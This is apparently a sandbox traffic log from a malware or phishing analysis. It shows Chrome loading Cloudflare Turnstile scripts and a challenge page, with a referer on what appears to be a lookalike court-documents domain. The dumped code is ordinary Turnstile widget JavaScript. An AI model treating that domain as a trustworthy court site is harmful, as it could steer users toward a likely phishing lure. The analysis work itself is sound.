2024-12-09 13:19:33 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-09 13:19:34 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-09 13:19:34 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-09 13:19:34 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-09 13:19:34 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49760	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:35 UTC	383	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:36 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:35 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef549a9ae555e82-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f Data Ascii: existent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e Data Ascii: __\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")throw n
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49761	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:35 UTC	808	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:36 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26911 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-09 13:19:36 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 35 34 39 61 61 30 65 31 66 34 33 37 36 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ef549aa0e1f4376-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 13:19:36 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 